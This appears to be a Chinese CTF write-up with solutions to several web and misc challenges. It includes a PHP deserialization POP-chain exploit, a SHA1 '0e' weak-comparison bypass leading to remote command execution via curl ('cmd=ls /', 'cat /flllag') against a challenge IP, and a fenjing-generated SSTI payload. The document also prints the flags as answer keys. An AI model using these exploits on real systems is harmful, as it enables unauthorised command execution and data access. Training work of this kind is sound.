Web(写的比较详细)

unserialize

出题人: Yalois
难度: 普通


题目描述:寻找调用关系。
PHP 魔术方法
魔术方法的触发条件

前置知识

什么是 PHP 反序列化?

PHP 反序列化是将通过 serialize() 转换成字符串的对象重新还原为对象的过程。

在反序列化过程中,可能会调用某些特殊的魔术方法(如 __wakeup()),这些方法可以执行特定逻辑。如果攻击者构造了一个包含恶意代码的序列化字符串,就可能利用这些魔术方法触发意外逻辑,甚至执行敏感操作。

简单来说,PHP 反序列化漏洞是由于程序信任了用户传入的序列化数据,导致攻击者可以通过精心构造的数据控制程序的执行流程,从而执行恶意代码或获取敏感信息。

这道题目用到的几个魔术方法

__wakeup()

  • 触发时机:
    • 当对象通过 unserialize() 反序列化时自动调用

__toString()

  • 触发时机:
    • 当对象被当作字符串使用时触发,比如在 echo 或字符串连接中。

__invoke()

  • 触发时机:
    • 当对象被当作函数直接调用时触发。

分析代码逻辑

class A

  • 属性:

    • $x: 用于控制 __wakeup() 的分支逻辑。
    • $s: 存储另一个对象(类 B 的实例)。
  • 方法:

    • __wakeup():
      • 当对象被反序列化时触发。
      • $x 值为 "hello",则打印提示并访问 $s 属性。
      • $x 不为 "hello",直接结束程序。

class B

  • 属性:

    • $qwq: 存储另一个对象(类 candy 的实例)。
  • 方法:

    • __toString():
      • B 类的对象被作为字符串使用时触发。
      • 调用 $qwq(存储的 candy 对象)作为函数执行(触发 __invoke())。

class candy

  • 属性:

    • $v: 用于存储文件路径。
  • 方法:

    • __invoke():
      • 当对象被函数调用时触发。
      • 尝试读取 $v 指定的文件内容并检查其值是否为 "love"
      • 若条件满足,调用 getFlag()
    • getFlag():
      • 输出环境变量中的 GZCTF_FLAG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
class A{
public $x="die";
public $s;
public function __wakeup(){
if($this->x=="hello"){
echo "第一步不是轻轻松松!";
echo $this->s;
}else{
die("开头就死啦");
}
}
}
class B{
public $qwq;
public function __toString()
{
echo "当一个对象被当函数调用会怎么样啊";
$a=$this->qwq;
$a();
}
}
class candy{
public $v;
public function __invoke()
{
echo "最后一步!";
if(file_get_contents($this->v)=="love"){
echo "恭喜你拿到flag了呢!";
$this->getFlag();
}
}
public function getFlag(){
$flag = getenv('GZCTF_FLAG');
echo $flag;
}
}

$data = $_POST['data'];
unserialize($data);
//下方的是关键
$candy = new candy();
$candy->v = 'data://text/plain,love'; // 使用 data:// 流直接嵌入 "love"

$b = new B();
$$b->qwq = $$candy; // 将 candy 对象赋值给 B 类的 qwq 属性

$a = new A();
$a->x = "hello"; // 设置为触发 __wakeup 的条件
$$a->s = $$b; // 将 B 对象赋值给 A 类的 s 属性

// 序列化对象链
$$payload = serialize($$a);

// 输出 Payload
echo "$payload";

Flag:

1
QLNU{8e364303-528a-4b49-b8ab-a15a900c529d}

拯救大福学长

出题人: Yalois
难度: 普通


题目描述:大福被我上传在了这个系统里并压缩了,请黑进去这个系统,拯救大福
md5 和 sha1 是不是差不多
这个和练习题平台的 md5 差不多
绕过 md5 之后 rce

前置知识

  1. 什么是 0e 绕过?
    PHP 中的弱类型比较(==)会将某些看似数字的字符串转换为数字进行比较。例如:
  • "0e12345" 会被解析为科学计数法中的数字 0
  • 因此,"0e12345" == "0e67890" 相当于 "0" == "0" 在 PHP 中会视为相等。

SHA1 通常会生成 40 位的十六进制字符串,但某些特殊的字符串(如 aaroZmOk)会导致 SHA1 输出以 0e 开头的字符串(如 0e665253196792481973726967923058),只要找到两个不同的字符串,但是生成的 SHA1 都是以 0e 开头,就可以利用弱类型比较绕过逻辑验证进行利用。

  1. 什么是命令执行漏洞?
    命令执行漏洞(RCE)是指程序将用户输入作为系统命令执行的情况。如果程序没有对用户输入进行充分过滤,攻击者可以通过精心构造的输入执行任意系统命令,从而获取敏感信息或完全控制服务器。(需要学习一点常用的 linux 命令,比如:ls、cat 等)
  2. 这道题的逻辑漏洞分析
1
2
3
if ($a != $b && sha1($a) == sha1($b)) {
system($cmd);
}
  • $a != $b:要求两个字符串不同。

  • sha1($a) == sha1($b):要求 a 和 b 的值经过 sha1 加密之后的值弱相等,利用弱类型比较和 SHA1 的 0e 绕过,找到合适的 $a$b,如:

    • $a = "aaroZmOk"
    • $b = "aaK1STfY"

通过构造这两个输入可以绕过验证条件,进而利用 POST 参数中的 cmd 执行系统命令,实现远程命令执行

简单来说,这道题考察了两点:

解题步骤:

查看根目录文件,找到 flag 文件的文件名为 flllag

1
curl "http://101.35.218.130:33155/?a=aaroZmOk&b=aaK1STfY" -d "cmd=ls /"

查看 flllag 文件。

1
curl "http://101.35.218.130:33155/?a=aaroZmOk&b=aaK1STfY" -d "cmd=cat /flllag"

获得压缩包密码。

1
jiujiudafuxuezhang

寻找大福学长。

1
curl "http://101.35.218.130:33155/?a=aaroZmOk&b=aaK1STfY" -d "cmd=ls /var/www/html"

在网站目录下找到大福学长

1
大福.zip

下载大福学长。

1
wget "http://101.35.218.130:33155/大福.zip"

使用之前获得的压缩包密码解压大福学长,即可获得 flag。

Flag:

1
QLNU{6b309e5d-c1c8-4aba-a4c7-0402fdb10dd5}

模板注入

出题人: Yalois
难度: 普通


题目描述:没听说吧,现学,搜索引擎拿来用。
Python SSTI

前置知识

  1. 什么是 SSTI (服务器端模板注入)?
    SSTI 是一种 Web 漏洞,攻击者通过在模板引擎中注入恶意代码,迫使服务器执行其注入的代码。很多 Web 应用程序使用模板引擎(如 Jinja2、Mako、Thymeleaf)来渲染 HTML 内容。如果这些模板引擎没有进行适当的输入过滤,攻击者可以利用模板引擎的功能来执行任意代码。
  2. 什么是 fenjing?
    fenjing 是一个用来处理模板注入漏洞的 Python 工具,它能帮助攻击者构造有效的 payload 来执行命令或者提取信息。它通过封装了注入代码的函数,帮助构造出可以绕过模板引擎防护的 payload,通常用于快速测试和分析模板注入漏洞。fenjin 提供了一个非常方便的方式来构造执行命令的 payload,在针对模板引擎的攻击中,利用传入的输入来控制模板的行为。

解题步骤

  1. 分析代码逻辑:

页面包含一个表单,用户提交的内容会被传递到后台,后台会显示用户输入的内容。

BlackList:['flag'] 说明某些关键字(例如 flag)被列入了黑名单,不允许显示或传递。

  1. 使用 fenjing 工具来编写 exp(需要配置 python 环境和安装 fenjing)。

导入 fenjing 库:

1
from fenjing import exec_cmd_payload

模拟 waf 函数:

1
2
3
4
5
def waf(s: str):
blacklist = [
"flag",
]
return all(word not in s for word in blacklist)

使用 fenjing 的 exec_cmd_payload 函数生成 Payload:

1
shell_payload, will_print = exec_cmd_payload(waf, 'cat /flllag')

打印生成的 Payload:

1
print(f"{shell_payload}")

exp:

下方是完整的 exp,运行出来的结果就是 payload。

1
2
3
4
5
6
7
8
9
from fenjing import exec_cmd_payload
def waf(s: str):
blacklist = [
"flag",
]
return all(word not in s for word in blacklist)

shell_payload, will_print = exec_cmd_payload(waf, 'cat /flllag')
print(f"{shell_payload}")

在文字框输入 payload 后提交即可获得 flag。

Flag:

1
QLNU{255eca38-8ab5-4ab8-9810-a77be9e7e3c0}

游戏大师

出题人: Yalois
难度: 简简单单


题目描述:拿到 10000 分给 flag 哈!
F12->”源代码”找入口 js 文件
入口一般叫什么名字
找关键词
F12 的控制台是不是能够改变量的值

解题步骤:

审一下代码,发现 getFlag 函数。

1
2
3
if (score >= 10000) {
getFlag(score);
}

当游戏结束时,score 大于 10000,即可获得 flag。

开始游戏后在控制台输入 score = 10000;

游戏结束之后即可获得 flag。

Flag:

1
QLNU{65945992-a2d4-4c28-8dea-f880302500ac}

Misc(写的很省略)

薇尔莉特的秘密

出题人: DkingL
难度: 简单


题目描述:得到的 flag 用 QLNU{}包裹
当薇尔莉特走在路上时,突然遭到一条蟒蛇的袭击。她感觉自己的眼睛好像被某种遮挡物阻隔,无法看清周围的世界。然而,其他人却没有注意到她眼睛有任何异常。请你帮助薇尔莉特解开这个身上的秘密,重新还原她眼前的世界。

解题步骤:

根据“蟒蛇”、“眼睛遮住”等提示信息,推测为盲水印加密,同时题目只给出一张图片,推测为单图盲水印。

使用工具解密附件中的图片。

解出后的水印即为 flag。

Flag:

1
QLNU{z1_Luo_lAn_7ong_h3n9_garden}

宇宙深处的声音

出题人: DkingL
难度: ez


题目描述:公元 80065 年,地球派出银河号宇宙飞船在银河系中探寻可能存在生命的星球。船员们充满期待地前行,迎接着未知的挑战。
然而,漫长的宇宙探索过程中,飞船一直没有发现任何迹象。船员们由最初的聚精会神逐渐变得无精打采,有的甚至开始怀疑自己的使命。就在船员们陷入低谷的时候,突然!探测器发出了一阵特别响亮的警报,整个飞船都沸腾起来。
船员们迅速各司其职,全神贯注地尝试破解来自宇宙深处银河系的声音。他们调整频率、分析波形、寻找规律,但始终无法理解这个神秘的声音在传递着什么信息。警报持续响个不停,气氛变得紧张起来。
在无数次尝试无果后,船员们感到十分沮丧。他们开始在舱内各处寻找灵感,思绪纷乱中,突然灵光一现!一位机智的船员想到了将声音拆分成不同频段进行分析,终于找到了破解的线索。
船员们齐心协力,一步步还原这段来自银河系深处的声音。逐渐,他们听清了那个声音传递的信息,是一种古老的宇宙语言,在呼唤着他们。船员们意识到,这是一个来自遥远星球的求救信号。
于是,船员们紧急向地球发来了求助信函,希望地球能够协助他们理解这个神秘的信号并找到它的来源。而在这个漫长的宇宙探索中,新的冒险即将开始,未知的星球、神秘的声音,一切都充满了无限的想象和期待。愿这段壮丽的银河探险之旅充满乐趣与奇迹!

得到的 flag 用 QLNU{}包裹

🔑:^Qlnu[a-b]{2}#[0-9]{5}$
提示:来自银河系深处的古老语言
第一个提示好像是正则表达式哎

解题步骤:

题目中给出提示“^Qlnu[a-b]{2}#[0-9]{5}$”,为附件压缩包密码的正则表达式。

按照此正则,对压缩包进行掩码攻击,即可获得压缩包密码“Qlnuab#23356”。

打开压缩包中的文件,推测是某种加密,通过 Google 搜索密文内容,即可找到解密网站。

通过解密网站在线解密,即可获得 flag。

Flag:

1
QLNU{Death_is_not_the_end_of_life_forgetting_is_the_end_of_life}

来听首歌放松一下

这首歌真好听,就是咋有点奇怪,哪里奇怪捏······
频谱里面有什么东西啊到底

解题步骤:

用 Adobe Audition 打开音频文件,即可直接获得 flag。

Flag:

1
QLNU{@U_yyds}